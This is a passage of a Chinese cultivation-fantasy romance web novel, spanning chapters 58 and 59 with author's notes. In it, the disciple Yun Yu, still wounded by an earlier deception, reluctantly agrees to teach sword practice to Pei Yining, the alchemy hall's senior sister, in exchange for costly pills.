她推开薄毯,几步跑到溪流边,头一把砸下去,劈头盖脸地被水撞了个彻底。 再快速提起,大片的水“哗啦啦”地往下落,水面波纹晃动蔓延,激起一朵朵水花。 额前的碎发被水湿润,黏腻地攀附在肌肤上,水珠钻入领口,潜入肌肤,润湿的衣衫紧紧贴着身体。 云榆盯着水中略显狼狈的自己,有一瞬间看到熟悉的人影:“姐姐……” 被她突如其来举动惊到的应滟和卞凝慢半拍地跑到她身上,应滟单膝跪在她身边,轻轻拍着她的背:“你……你没事吧。是做噩梦了吗?” “应……滟,卞……凝,”云榆眨着眼,被水冲过,逼红的眼睛一瞬不瞬地望着两人,她咧开唇,“我们是真的朋友吧。” 应滟慌忙地:“说什么傻话呢?我们当然是真的朋友。” 卞凝瞧出她的不对,可眼下也顺着抚平云榆的脾气:“我们永远是朋友,真朋友。” 她被应滟和卞凝半是搂抱地扶起。 卞凝掐了个指诀,蒸干云榆的衣衫。 后知后觉地从混沌中清醒,云榆呆呆地转动手腕,数秒后,她又恢复到那副明媚的样子:“刚才睡懵了,没吓到你们吧。” 应滟拍着胸膛:“吓坏我了。” 卞凝道:“没事就好。我看你是这几天太累了,精神萎靡不振的,好好休息休息。修炼不急于一时。” 云榆接下好友的建议。 与两人在自己洞府中喝了几杯茶,云榆颇为好笑地瞧着两位找着各种借口,就是不愿离去的两人,主动留下二位:“要不在我这吃个饭?” 此言一出,还在找借口的两人顿时哑口无言。云榆好像恢复正常了。 一来一回地聊了小半个时辰,确定云榆真的无事后,卞凝揪起应滟:“下次再一起吃,你先休息吧。我们不打扰你了,有事随时传音给我们,随叫随到。” 说着,卞凝从空间储物中取出先前兑换的一瓶丹药,塞到云榆手中:“你拿着,我用不到。” 生怕她不收,卞凝拽着愣神的应滟甩出了洞府,独留下茫然无措的人。 好一会,云榆低笑声,翻开瓷瓶的底部,上面有一行凹陷下去的文字——“固境丹”。 二品固境丹,想来是卞凝兑换了准备突破后用的,这丹药她没记错的话,价格不便宜。 就这么塞给她了。 也不知卞凝是偷偷出了多少收藏的小物件。 唇边泛起苦涩的笑容,云榆抚上窗沿。 天朗气清,阳光热烈。 “姐姐,自从你骗我后,我又被骗了好多次。”云榆反身靠在窗边,纤长的手指摩挲着掌心的纹路。 眼角的余光瞟见固境丹,云榆咽住喉咙。 她扯动嘴角:“不过入宗后,同门们都很友好,她们很照顾我。” 就算是骗她的人,对她也很好。 云榆咬住口腔内的软肉,在心里补充上。 * 这日修炼刚开始,云榆被杜寻雁叫住,对方神神秘秘地往她怀里塞了几包东西,别回头,满是严肃地:“好好修炼。” 杜寻雁捂住唇干咳一声:“等会分给她们一起吃,今早从阁主那弄的。” 云榆:“嗯?” 这正是修炼的时候,杜寻雁每每这期间严正板直地与平日是两个模子出来的,今日这一反常态的举动,让云榆不得不怀疑:“杜师姐,你不正常。” 杜寻雁正得意着能从阁主手中抠下东西,却反被师妹质疑,一张脸登时冷下:“去修炼去。” 云榆若有所思地点头:“这才像杜师姐平日教导我们时的样子。” 杜寻雁提剑黏上她的后腰:“修炼去。” 云榆遵着杜寻雁的指示,将吃食挨个分给同门,其余指导她们修炼的师姐也分了点。 听闻是杜寻雁弄来的,调侃道:“你们杜师姐,除了不敢从原师姐和裴师姐那抢东西外,宗门其她阁主和师姐的,都被抢了个遍。” 有人举手:“那宗主的呢?” “那你们杜师姐也是不敢的。” 一时间笑做一团,被揭老底的杜寻雁赶着她们去练剑。 云榆亦是被杜寻雁不轻不重地戳了下肩:“这几日精神好多了。” 云榆笑而不语。 卞凝和应滟因着几日的观察,对她稍放下心。 日子就这么过了下去,恍惚着数月已过。云榆两耳不闻窗外事,一心向道,剑法每每让人称叹。 在身法的加持下,飘渺自如,好几次,应滟和卞凝与她对练时,连她的位置都找不到。 又一次对练结束,对于连云榆衣角都没摸到一事,应滟已经习以为常了,她灌着壶水,边喘息边道:“你这身法太厉害了,根本捉摸不透。” 云榆抱剑:“你要学吗?我教你。” 她从来不吝惜将所学传授给别人,应滟和卞凝是这样,其余的同门也是如此。 应滟摆摆手:“晚些我先对着那功法练练,有不懂的再问你。” 云榆道:“也好,这样能更熟练。” 卞凝递了根肉干过来,云榆掰下一点填入口中。 应滟咬在两齿间:“这肉干总觉得缺点味。对了,榆木,你之前的肉干是怎么做的。” 卞凝亦是好奇:“我也想知道,我用了同样的肉,怎么都复刻不出你那时给的口感。” 云榆咀嚼的动作一慢,装傻:“之前的也就这样做的。” 顿时有些食不滋味了。 好不容易将记忆中的人遗忘了几分,因一根肉条再度想起。 云榆恍然发觉,那份记忆还是那么清晰,清晰到,仿佛昨夜还和裴依宁一同吃饭,对方一口一个的自称是“小跟班”。 小跟班。 差点要幻听了。 云榆微微摇头:“我去练会掌法。” “怎么还有掌法,我们不是剑修吗?”应滟趴着起来,亦步亦趋地跟在云榆身上,“榆木,从今天起,我当你跟班吧,你干事前跟我说一声。” 云榆停下,身后的应滟反应不及,直直地撞到她的后背。 应滟捂住被撞疼的鼻子,一边揉一边控诉:“突然停下做什么?” “你方才说什么?”云榆问。 应滟想想道:“你干事前跟我说一声?” 云榆:“前面那句。” 应滟抓耳挠腮:“什么啊,我忘了。” 云榆:“……没什么。” 卞凝扶额:“你说当她跟班。” 应滟左手手背重重拍在右手手心:“哦,对,当你跟班。” 云榆微笑:“不可以。” 应滟:“……”她乱蹦,“那你让我重复!” 云榆:“明确地拒绝你一下。” 应滟:“……你过分,”她捧住心脏,故作伤心,我见犹怜地倒在卞凝身上,“我这颗心,就这么,碎裂了。” 卞凝嫌弃地推开她:“别沾染了我。” 应滟又做惊恐状:“你也伤害我。” 云榆被她们有来有回的话语笑到,刚升起的乌云被阳光驱散,她勾住应滟的后领,无可奈何地对着卞凝一歪头,拖着鬼哭狼嚎的人往修炼之所去。 卞凝卡在橙灵许久不动,眼见应滟都突破了,她不免开始着急起来。 每日天蒙蒙亮就开始修炼,引着灵海内的灵力一次次地冲击境界,长此以往,境界未能冲破,灵海的那层屏障反倒出了问题。 杜寻雁冷着脸阻止了卞凝又一次境界冲击,内视对方体内的灵海时,脸色肉眼可见的铁青。 “别冲击了,你是想灵海破碎吗?”杜寻雁用灵力温养她薄弱的屏障,“突破本就讲究时机,越急越不可得。” 她对着云榆招招手:“你御剑,去灵丹堂。” 语落,一手抱起卞凝,押着人上了云榆的佩剑。 初一听见灵丹堂,云榆发自心底地逃避,但见杜寻雁脸色,意识到事情的严重性。 她御剑直入灵丹堂,于半空中穿行,滑行降落。 来不及等剑完全降下,杜寻雁圈着卞凝直奔内殿而去。 被她圈住的卞凝还没意识到发神什么,只知因自己冲击境界,灵海或许出现了问题。 再一回神,人已经到灵丹堂了,被按着坐下。 面孔变动,眼前的人是昔日应滟手伤时,为她包扎的女子。 “纳兰师姐。”云榆后一步赶到,恭恭敬敬地行了一礼。 纳兰然:“云师妹。”语落,她收回搭在卞凝腕上的两指,“并无大碍,灵海屏障虽有所损伤,但并不严重,只需等其自动修复即可。” 她估算时间:“用不了多久,一夜便可恢复如初。” 云榆偷偷打量杜寻雁,那杜师姐那般紧张作何? 下一秒,杜寻雁很自然地搓起两掌,毫无师姐作风:“咳咳,纳兰师妹啊,你看我们峰阁的弟子这般求上进,你看……能不能给点啥有助于她们更好地突破境界的丹药。” 云榆:“……” 杜师姐,你好跌面啊。 关键是,她视线转到纳兰师姐身上。 纳兰然满眼的早知如此:“杜师姐想要什么?” 杜寻雁“嘿嘿”一笑:“几瓶三品破境丹,聚灵丹,凝神丸……” 杜寻雁一口气报出数种丹药名。 望着纳兰然越来越不对的眼神,云榆狠狠低下头。 杜师姐,你好敢报。 这一番下来,不得数万枚灵石。 而且,见这样,杜师姐是不打算付灵石的。 云榆一点点往后挪动,以免纳兰师姐出手,伤及自身。 但显然,她低估了纳兰然的忍受力,或者说早已习以为常了。 纳兰然公事公办地回绝:“杜师姐,你说的这些,我拿不定主意,正巧裴师姐这几日都在这,我方才已经传音给她,杜师姐稍等片刻。” 云榆想撒腿就跑,她不太想见到裴依宁。 但在两位师姐的眼皮子底下跑,太明显了,说不定还会让裴依宁知道这是自己的人形。 思绪交战地不可开交,一股熟悉的清香已经飘到云榆的鼻息间。 即使数月未见,这股香气仍旧如同深入骨髓般,混迹在她的血液中,只是一闻,便勾起无尽的回忆和留念。 “裴师姐。”纳兰然和杜寻雁同时道。 云榆低下头:“见过裴师姐。” 裴依宁目光在云榆垂下的发顶扫过,数秒后方挪开,直入主旨:“杜师妹,纳兰师妹已向我转述剑法阁的需求。除此之外,还有何所需吗?” 杜寻雁辨不出裴依宁话中的意思,不敢冒然作答,一个劲地用眼神求助纳兰然。 云榆听着这熟悉的声线,甚至连语调都是那么温润柔和。 不知杜师姐怎么不说话,裴依宁这语气,一听即是答应的意思。 “暂时没了。”杜寻雁硬着头皮道。 裴依宁略一颔首:“如此,让一人跟我来。” 杜寻雁极快地卖了云榆:“云师妹,你去。” 裴师姐对云师妹可不一般,说不定还能多要点。 她对于裴依宁和云榆数月不曾见过之事半点不知。 虽疑惑裴师姐怎么突然肯在云榆面前用真身份,但这些不该问的,她们都一概不问。 只当不知。 云榆纵使在如何不情愿,师姐发话,哪有不去的道理。 她强撑着笑容,跟在裴依宁身后,时刻保持两个身位的距离。 “云师妹,还差什么?” 裴依宁依次将丹药递给云榆,云榆则依次放入空间储物中。 云榆检查一番,道:“裴师姐,还差破境丹。” 裴依宁取出三瓶递过去,忽而道:“我记得先前在遗迹内,有一瓶破境丹,你已经用了吗?” 云榆道:“对不起师姐,未经过您同意,我擅自将其送予一白二白了。” 裴依宁道:“那丹药本就是你的,你如何处置都可以。”她浅色的瞳孔望进云榆的眼睛,“从遗迹出来后,云师妹对我生疏了许多。” 作者有话说: 云.小刺猬.榆: 第58章 第五十八章[VIP] 三瓶白玉瓷瓶摆放在手边几公分之处, 云榆稍稍探个手便是能触碰到。 事实上,她的确伸手去拿了,微凉的触感自指尖蔓延,落实在掌心:“师姐说笑了, 这段时间我忙于修炼。况且, 我与师姐分属不同峰阁,难有遇见之机。” 她顿了顿, 收起三瓶丹药, 心思早已不在上面:“即使是朋友,数月未见, 恍一见面,也会显得生疏。” 更何况, 她们连朋友都算不上。 云榆自嘲地牵起唇角,拱手一礼:“多谢师姐给予的丹药。” 裴依宁自上而下缓慢地扫过她,背过身整理错乱的药瓶,大半面容看得不清晰,侧脸的一小面落在云榆眼中。 她不说话, 云榆一时失了方寸, 留不是, 离也不是。 空气中凝固的氛围过于怪异, 云榆素来受不了这种尴尬的。 “那我们算是朋友吗?”裴依宁捏着一瓶丹药转过身, 细长的手指在瓶颈处缓而慢地摩挲。 真敢问。 云榆只当是没听见这句话:“师姐, 杜师姐还在外面等着。” 裴依宁颇有种不依不饶的意味,长腿往前一迈, 云榆瞳孔中的人脸顷刻间放大, 几乎沾满全部视野。 云榆当即后退半步,与此同时, 她偏头,抓紧衣衫。 随即,她听见一声很淡很轻的笑声。 一股无名火蹭的蹿出来。 这人怎么能笑得出来。 “裴师姐,”云榆含着微末的怒气,磨磨后槽牙,挤压在胸腔的烦闷被强行压下去,她皮笑肉不笑地,“裴师姐若是无事的话,师妹就先出去了。” 一刻都不想多待。 裴依宁眼神暗淡下去,原以为数月未见,能让云榆埋藏的怒气消下去,她们还能和好如初,可今日一见,这个方法许是不管用的。 时间的冲刷洗礼,对于云榆来说,产生的效果微乎其微。 裴依宁指尖难耐地轻颤:“云师妹还记得先前教我的那套剑招吗?听闻杜师妹夸赞,你在剑道上天赋卓绝,可有时间带我感悟剑法的奥妙之处。” 云榆自是记得带裴依宁舞剑之事,只是当初她当裴依宁是自己的小跟班,自是要满足对方的求知欲。 可眼下,她都被人骗成什么样子,还想让她带着练剑。 痴心妄想。 拒绝的话脱口而出:“裴师姐,我……” “云师妹,”裴依宁轻轻打断她,提起摩挲的药瓶,往前一推,“这瓶丹药要凝神静气之效,不论是对你,还是对与你同来,因冲击境界而灵壁受损的卞师妹来说,都有好处。” 女人精致的眉眼间存着温和的善意:“就当是我提前预付给云师妹的酬劳。” 不可否认,当裴依宁提及这瓶丹药对卞凝的好处时,云榆心动了。 身为入宗以来的好友,她自是不希望看见卞凝因修为境界之事劳神费心。 可她无从安慰。 但裴依宁不一样,身为灵丹堂的大师姐,一手炼丹术无人能及,她用来当做酬劳的东西必然不可能只有凝神静气之效。 云榆脑子转动,在犹豫。 裴依宁趁热打铁,继续道:“今日的这些丹药,约莫近十万枚灵石。” 她轻飘飘地扔下一句话,直砸云榆心脏。 “十万?”云榆瞳孔颤动。 裴依宁双手撑着桌面,上半身微微向前倾,曲指:“杜师妹来之前没与云师妹说吗?” 云榆想摇头,但这无疑是将杜师姐卖了。 而且,杜师姐能拿出十万枚灵石吗? 拿不出来。 放在空间储物中的数瓶丹药成了烫手山芋。她不应该那么快收下的。 裴依宁支起眼帘,某人的情绪挂在脸上,只是几个转变,便能猜到对方心中所想。 时机差不多,裴依宁抛下诱饵:“若是云师妹愿意每日抽出点时间,与我论剑,这些丹药,可免费赠予剑法阁。” 她适时收紧:“云师妹若是不愿,也无妨。” 云榆狠狠掐住虎口,短距离传音还是可以做到的:【杜师姐,这些丹药所需的灵石,你带够了吗?】 杜寻雁很快传音而回:【你看我像是有灵石的样子吗?裴师姐该不会问你要了吧。完了,我就知道不能让裴师姐知道这件事。】 传音中断两秒,杜寻雁声音再度传来:【要不,先不要了,等哪天裴师姐不在,我再来磨纳兰然。】 云榆:“……” 杜师姐,能不能争点气。 区区十万枚灵石而已。 空气中传来轻微的灵力波动,裴依宁只当无所察觉地直起身,象征性地点动那瓶凝神静气丹药瓶的瓶塞。 等这股灵力波动止息,裴依宁温声问:“不知云师妹可想好?” 价值十万枚灵石的丹药换她每日一点时间,怎么算都是划算的。 裴依宁伸出一根手指:“每七日,可再赠送一瓶丹药。”她补充,“以我私人名义,不记录在灵丹堂的册子中。” 云榆冷着脸,没出息地点下头:“既然裴师姐这般说了,师妹自不会推辞。” 裴依宁弯下唇。 两人出来时,杜寻雁正笑嘻嘻地和纳兰然说着什么,纳兰然全程微笑,时不时摇摇头,紧接着,就看杜寻雁凑得更近,晃动纳兰然的手臂,笑得谄媚。 在她们一侧的卞凝耳尖微红,两肩一耸一耸的。 是在憋笑。 云榆扶额,这就是杜师姐说的磨人吗? 裴依宁眉宇间拧出小山峦,她一压眉,表露的情绪被淹没。 眼角的余光瞥见两人,纳兰然捂唇咳嗽两声。 杜寻雁不明所以,还在恳求:“纳兰师妹,好师妹,几瓶丹药而已,你悄摸摸地给我呗,你不说,我不说,谁都不会知道的。” 她用力挤眼睛,可一滴泪水都挤不出来,装作弱柳扶风之态,擦拭不存在的泪滴:“师妹,你知道我有多不容易吗?剑法阁那么多师妹就等着这丹药呢,你忍心看她们眼巴巴求药不得的可怜吗?” 她拽起卞凝,心疼地摸摸后者的脸颊:“是师姐无用,连丹药都求而不得。是师姐对不起你……” “杜师姐。”听不下去了,纳兰然急忙出生打断,“别说了。” 卞凝恨不得将头埋入地底。 杜寻雁吸吸鼻子:“纳兰师妹是不是也觉得师姐我可怜。” 纳兰然:“……” 云榆:“……” 她素来知晓杜师姐有两幅面孔,可还是时常会被她的反差感弄得措手不及。 瞄了眼身侧的裴依宁,云榆见不得自家师姐继续丢面,她三步并作两步,扯住杜师姐的衣袖:“杜师姐。” 只顾表演,而忽略来人的杜寻雁看见云榆,下意识就要拉着对方一起装可怜。 下一秒,裴依宁清润的声音插入其中:“杜师妹,我竟是不知,你如今这般可怜了。” 杜寻雁秒变脸:“裴师姐。” 云榆小声道:“杜师姐,裴师姐已经将丹药给我了。” 杜寻雁亦是小声道:“我还没磨成功。” 云榆:“……别磨了。” 纳兰然立于裴依宁身后,几分无语,几分失笑地望着此刻宛如小孩子的杜寻雁。 她有心为对方说几句话,但面前的人已经开口:“杜师妹,你说的那几种丹药,我已尽数给了云师妹。日后若还有什么需要,可直接与我说。” 她半支起眼睑,让人看不清她的神色:“与纳兰师妹说亦可。灵丹堂会给出最大的让步。” “最大的让步。”回去的路途中,杜寻雁盘坐在云榆的佩剑上,细细揣摩裴依宁的话,“有多大的让步,也没说啊。那这次她给的丹药,到底要不要付灵石。” 云榆御剑而行,插嘴道:“裴师姐要,我们不给,她拿我们也没办法。” 杜寻雁没好气地拍她的小腿:“你看我敢吗?” 卞凝站在杜寻雁对面,和云榆一前一后将她夹在中间。 两道人形挡住阳光,杜寻雁摸着下巴,支起一条腿,侧脸靠在上面,嘀嘀咕咕的,无非是关于这件事的猜测。 到剑法阁后,云榆将那瓶凝神静气丹塞给卞凝:“你留着用,效果不错。” 卞凝不跟她客气,忙着回去修炼。 杜寻雁还在思考裴依宁话语中的意思。 云榆送走卞凝,回眼就见杜师姐忧虑的模样,暖心开口:“杜师姐,别想了,裴师姐免费给我们的。” 杜寻雁眨眨眼:“嗯?她这么对你说的。” 云榆满脸沉重地点头,思考一二还是不准备把自己与裴师姐的交易说出,以免杜师姐自责:“裴师姐是这么说的。” 杜寻雁怎么会信,她逼问:“真的什么条件都没有?你别骗我。” 骗这个字触及到云榆的神经。 她不能骗杜师姐。 她叹息,谨慎地说出裴依宁的条件:“裴师姐让我每日抽时间与她论剑即可。”为防止杜寻雁多想,“杜师姐,我是自愿……” “我就知道,你真是剑法阁的大福星,”杜寻雁赞扬地拍拍她的肩膀,不住地夸赞,“你多与裴师姐接触,最好再熟一点,多从她那弄点丹药,造福剑法阁的师姐妹。” 云榆:“……” 她真是多想了,杜师姐压根连愧疚的念头都没有。 云榆嘴角抽搐,望着抱着丹药,满心欢喜离开的杜寻雁,默默抱住自己。 * 原以为裴依宁会在条件达成的第二日来剑法阁找她,不想她前脚刚从灵丹堂出来,后脚就在自己洞府门前瞧见一抹熟悉的身影。 裴依宁一袭浅蓝色衣衫,飘逸的墨色长发被随意挽在身后,遥遥望去,身姿纤细而不单薄。 云榆调转脚步想走,已是来不及。 她面如菜色,心底却是悄然升腾出几分她自己都没能察觉到的欣喜与怀念。 “裴师姐,”云榆几步上前,恭敬有加,话语还是刻意的生硬,“您这么快就来了。” 裴依宁只一点头:“自是从今日开始,恰好现在有空,便来了。” 云榆尬笑两声,与她客套:“裴师姐吃了吗?” 裴依宁又是一点头:“吃了。” 俗话说伸手不打笑脸人,更何况是这么主动的人,云榆开门将她迎入洞府。 这里的布局与数月前相差无几,唯一的区别大概是,其中开辟出来的,用作做饭的地方被撤走了。 “师姐,我这无茶,您将就喝点热水吧。”云榆道。 裴依宁不着痕迹地收回视线:“不将就。” 还是有几分不自在,这种不自在来自于裴依宁身份的转变。 无目的地压着杯沿,指腹与几乎要漫出来的水平面相接。 云榆视线不聚焦的到处乱看,忽地凝聚到裴依宁身上。 分明是一杯寡淡无味的白水,偏偏被裴依宁喝得像是某种琼浆玉酿,引得云榆不由自主地抿了口。 还是白水。 还是那么会装模作样。 云榆翻来覆去地重复那几句对裴依宁的控诉。 “云师妹,我们什么时候开始?”裴依宁放下茶杯问。 云榆没急着回答,直勾勾地盯着裴依宁那张过于出众的脸:“裴师姐,我能问一个问题吗?” 裴依宁挑眉:“嗯?” 云榆道:“剑法阁门人众多,杜师姐剑法造诣更是极高,为何你不去找她们,反而是来找我。” 她怎么都想不明白这点,若是说熟悉,人形的她和裴依宁不甚相熟,偶来的几次交情不足以让裴依宁付出这么多,只是为了与她论剑。 云榆自不认为自己有这样大的魅力。 因宁依之事,她对裴依宁生出防备之心。 刺猬形的她被骗了,人形的万不能再被骗。 吃一堑长一智。 裴依宁收起好以整暇的姿态,回望云榆,认真地道:“我曾说过,和云师妹相处我很开心。”她语意明确,“我也说过,我很喜欢,很喜欢你。” 有些久远的记忆,云榆眯眼,好一会,迟钝的神经被勾动。 裴依宁似乎的确说过这话。 只是这么简单的原因吗。 云榆无瑕深究,她带着裴依宁前往平日独自修习之所,避开可能会遇见同门的路线。 潜意识中,她不想让太多人知晓她和裴依宁的关系。 密闭的空间让她安下心。 从武器架上挑选了一柄铁剑丢给裴依宁,自己则是随手抽了一把。 云榆道:“裴师姐是想单纯的谈论剑道,还是以比斗为主?” 这两种哪种都好,但云榆目前所需的应当不是前者。她对杜寻雁的教导方法有所耳熟,对方多半已经与她说过这些。 裴依宁提着剑:“云师妹可否将近段时间修习的功法武技给我看看。” 云榆正好也懒得说话,乐得轻松:“好啊。” 她这几个月剑招练的不多,以打好基础为主,更多的侧重于身法,以及新学习的掌法。 一炷香后,演示的剑法结束,云榆挽起个剑花,剑一丢,直入剑鞘。 裴依宁略做点评:“剑法自如,下盘稳当,倒是不错。但,”她话音一转,“为何有种轻飘感。” 云榆一愣神,这点杜寻雁曾经说过她很多回,她每次也会注意这点,可或多或少无可避免还是会出现。 裴依宁竟是能一眼看出。 云榆怀疑,裴依宁所说的不错,是为了引出后面的那句话。 她道:“裴师姐在剑法上造诣应是极高的。” 这点她有所耳闻。 不止是裴依宁,原以诗和风浅念在剑道上的造诣亦是不低。 她们在去往不同峰阁前,都在剑法阁修习过很长一段时间。 云榆顿感好笑:“那次裴师姐让我带你练剑时,让我以为师姐对剑术了解不多。”她半是嘲讽地开口,“我还选了一套最为简单的剑招,倒是师妹我考虑不周了。” 有几次,她都要忍不住问裴依宁为什么要骗她,可理智将她拉回。 反正她以后不会再去主动找裴依宁,不会用刺猬形和裴依宁见面。 她要和裴依宁划清界限。 她云小刺猬是有尊严和脾气的。 裴依宁沉默下来,云榆话里的意思她怎会听不出。 但还不是时候。 再等等。 若是现在让云榆知道,她早就知道对方的人形,才是真的断绝了与对方和好的可能性。 裴依宁有些头疼,平日再棘手的丹方她都能面无表情,心平气和地炼制出来,唯独面对云榆,她的冷静自持都像是不存在般。 她解释道:“多年不曾碰剑,剑法早已生疏,只剩下零星记忆。那日师妹选难度高深的剑招,我许是要让师妹见笑了。” 云榆阴阳怪气的在心里将裴依宁的话重复了遍。 但她很好的受用了。 裴依宁捕捉到她放松的神情:“那……师妹可否再带师姐回忆回忆这些剑招?” 拿人的手软,吃人的嘴软。 为了那价值不菲的丹药和裴依宁许下的每七日一瓶丹药的承诺,云榆挣扎半秒:“可以。” 裴依宁握着剑柄,正欲等云榆握上她的手背,可比之先到的,是一阵轻缓的微风,随即是触感柔软的丝织物。 是一块手帕。 隔着那块手帕,云榆掌心落下,温热随之传来。 裴依宁眼神微变,凝视着那方手帕,指骨绷紧,手背处青紫色的细小经脉凸起,被手帕遮挡,被掌心覆盖。 云榆毫不知情地提起裴依宁的手,另一只手虚虚地护着裴依宁的腰身:“裴师姐,这次我带你熟悉我方才的那套剑招。” 浑然没了上次的随意,带着裴依宁动作时,话语都少了许多,只是尽职尽责地完成任务般。 当最后一式落下,云榆如释重负地松手。 那方手帕顺着飘落,被她弯身接住,收回:“裴师姐。” “今日就到这吧,”裴依宁背对着她,含着一口气,上下不顺。 好半晌,她似在轻叹:“云师妹,你与你的名字一样。” 是块榆木。 作者有话说: 云榆:嗯? 裴师姐:榆木。 推推下一本校园文《和青梅的感情日渐奇怪》,文案在下,感兴趣的可以去专栏看看哦 开学典礼,裴舒语作为优秀生代表之一,和一众将要上台演讲的学生站在后台等待。 她百无聊懒地看着正在演讲的少女,慵懒地靠在身后的墙壁,闭眼倾听。 过了会,身侧人推了推她:“听说你和季颜是青梅?” 裴舒语点头,何止是青梅,她还曾与人在午夜相拥。 错身上台之际,两人在阶梯口相遇,裴舒语登上演讲台前调侃:“小青梅,演讲的不错啊。” 季颜垂眸不语,盯着她之前靠着的墙壁,轻笑呢喃:“不止是青梅,还是……” 后面的话被麦克风传出的声音掩盖。 身边人疑惑:“你说什么?” “没什么。” 还是渴求之人。季颜在心底重复。 第59章 第五十九章[VIP] 云榆总觉得这些师姐说话总是露一半藏一半, 让人捉摸不透。 她收剑入鞘,指腹卡在鞘口,“咔擦”声后,剑口没入, 放回武器架上。 裴依宁没有要走的意思, 她寻了方空荡无物的位置,长腿踩在椅子下的横栏上, 曲腿, 脚腕一勾,伴随着椅子移动, 她翻身,双腿交叠而坐。 一套反应过快, 等云榆意识到她在做什么时,裴依宁正不紧不慢地支起手臂,手肘压在叠起的腿上,脊背松散,手背撑着侧脸, 庸慵懒懒的目光中眼波流转。 裴依宁行云流水的几个动作衔接完, 云榆适才蜷缩起手指:“裴师姐?” 裴依宁拍拍袖口处并不存在的灰尘, 悠闲地往后靠去, 几息之间, 她便换了姿态:“云师妹练自己的就好。” 她手臂微伸, 一本食谱出现,纤细手指捏起书页一角:“不用管我。” 封面上食谱两个大字过于明显, 云榆想看不见都难。 更甚者, 裴依宁将印刻的封面掀起,呈一个难以理解的角度正对云榆, 数秒后,她才是将封面彻底摊开。 扉页上就是整幅图片。 再往后,每一页都是一张或者交纵排列的数张图片。 图片旁该是有小字的。在云榆所站之地,能模糊看见一团团融在一起的黑色小点。 但文字无所谓,上面的配图过于引人了。 云榆刻意遗忘的味觉和馋虫被很好的勾起。 她想尝尝裴依宁的手艺了。 云榆吞咽口水。 裴依宁噙着笑意,一页页地翻动,一连数页都没能听见剑鸣和脚步声。 她掀起眸子,眉梢一抬,却见云榆一瞬不瞬地盯着摊开的食谱,黏腻的视线与图片吻在一起。 裴依宁就这样抬眼望着她,指尖不时翻过书页。 迟钝的人喉咙间不断滚动,有时她翻得过快,这人眼中还会流露出不舍,欲言又止地动动唇。 在快翻到最后一页时,裴依宁适可而止地垂下头。 随着尾页闭合,大片空白于封底,云榆猛地回过神。 恰在此刻,裴依宁抬头,云榆欲盖弥彰地移开视线。 裴依宁弯弯唇,将食谱压在腿上,掌心托举下颚:“云师妹是有什么问题吗?” 云榆咬住口腔内软肉,在牙齿间缓慢摩擦数秒,将蠢蠢欲动的念头克制下去。 她怎么能轻易被美食诱惑。 她要忍着。 云榆唤出佩剑,灵海内,一柄小剑快速颤动,化为一抹流光钻出体内,她五指张开,再一握,泛着冷芒的剑自掌心浮现。 云榆提剑后数步至安全区内。 裴依宁复又垂头,捏着的食谱消失,两指间夹着一张丹方。 丹方破损严重,边角至中央区域泛起分层的黄褐色,有被水液打湿的痕迹,文字模糊成一团,零星能辨出的字,字体繁复杂乱。 极其久远的古文。 裴依宁取出纸笔,灵力浮动,凭空凝结成一张银白桌子。 将丹方放置其上,她取出纸笔,将能辨认出的文字提取而出,依照过往经验认出这几个字。 而后从浩如烟海的储备中寻得有关此丹方内容的零星记载,一一写在纸中,而后整理出完整的丹方。 这一过程极为消耗精力,考验对各种丹药典籍的熟悉度。 裴依宁专注其中,笔尖在墨水中稍加润湿,虚握成拳抵住额头,眉心微拧,沉思许久落下一笔。 她的字体与她给人温柔却不好接触的感觉不同,更多的是凌厉,笔锋拉出一角,棱角分明,墨水犹能穿透纸背。 墨色的浅淡浓重控制亦是让人想不到,她的字体像是一副水墨画,轻重缓急明显。 云榆不经意一瞥,在墨色中寻得几分熟悉之感。 不由得分出几分心神观察女人。 许是她的视线过于热切,也许是裴依宁稍有疲倦,后者将笔放置于笔架中,脖颈后仰,按压后颈。 压住左肩,裴依宁转动脖颈,指尖揉捏鼻梁骨,再往上,抚平眉宇间不平缓的层起。 云榆跟随那只手,向上。 直至四目相对。 空气陡然间变得黏腻,在裴依宁漫不经心抬眼的瞬间,慵懒的姿态,睫毛扇动的频率,眼神中恰到好处的疑惑,都为那张本就精致清绝的面容增添了些许颜色。 云榆无可避免地被惊艳,浮着水雾的眸子晃着晶莹的微芒,唇齿微张。 像幅画似的。 水墨画。 云榆脑中闪过无数张水墨画,可又发觉,感觉少了点。 裴依宁的气质是温和的,是清冷的,是沉稳的……其中截然不同的气质融合在她身上,不显任何突兀。 云榆想不到更好的词来形容裴依宁。 榆木。 应滟她们替她起的外号当真与她现在心境相符。 “云师妹,你与你的名字一样。” 裴依宁先前说过的话撞入脑海。 云榆,榆木。 裴依宁当时也是想说她是榆木吗? 她的情绪不断变动,裴依宁猜不出她所想,只是定定地与她对视,妄想从中寻找出一二。 那份失神过久了,那根毛笔不知是没放好,还是因为灵力波动导致桌面不稳,“啪嗒”一声,自笔架上滚落。 裴依宁看见,云榆如小刺猬般惊恐地颤抖,绯色自脸颊蔓延至耳尖,脖颈,一直延伸到看不见的地方。回神后重重别过头,闭上眼。 她忍不住曲指点动桌面,那一幕对她的视觉冲击力极大,激起的电流在心脏处落下一击,柔软成一滩水液。 裴依宁舌尖划过牙尖,虚握的拳握紧,细微的疼痛让她眨了下眼。 她浅浅呼出一口气:“云师妹练好了?” 云榆面上红意未消,被她这么一提,心虚不已,热度上升:“还没。” 她想揉揉脸,但时机不对,她都能感知到脸上的温度,那定然是艳红无比。 强装镇定地,云榆去到武器架:“中途有一处出现了错误,正在思考,”她将话题引回到裴依宁身边,“师姐,小心被墨水沾污衣衫。” 那抹黑色若是落在裴依宁浅色的衣衫上,太有损整洁性了。 可在月白色中施以水墨色,会很有古韵之味吧。 云榆将墨色与裴依宁身着的衣衫之色相交。 “多谢师妹提醒。”经她提起,裴依宁拾起滚落的毛笔,尾端的绳,悬于立形笔架上。 她捏起那张土黄残破的丹方,与那张新写出复刻的丹方横放一起。 剑鸣声又起,云榆身姿矫健,腾空而起,剑尖或是直刺,或是上挑,有意将力度施加在手腕处,在传递到剑身。 如此看来,剑体的轻飘感少了许多。 但这样,过于伤手腕了,长此以往,受损严重,于剑道一途无益。 裴依宁在云榆面朝自己时,抬手。 云榆当是剑气溢出,挽剑而收,放于身后:“裴师姐?” 裴依宁撤回灵力,桌子化为星点,托举着两张不同的纸页升起。 裴依宁起身:“过来。” 云榆不由自主地听话过去。 些许星点化为一根细长的棍子,裴依宁握住一端,另一端搭在云榆的腕部,上抬。 在云榆尚未反应时,尾端顺着肌肤滑到手臂内腕,提起,指腹使用巧劲,木棍敲到云榆的手腕处。 铮鸣声响起。 长剑落地。 裴依宁道:“腕部无力。” 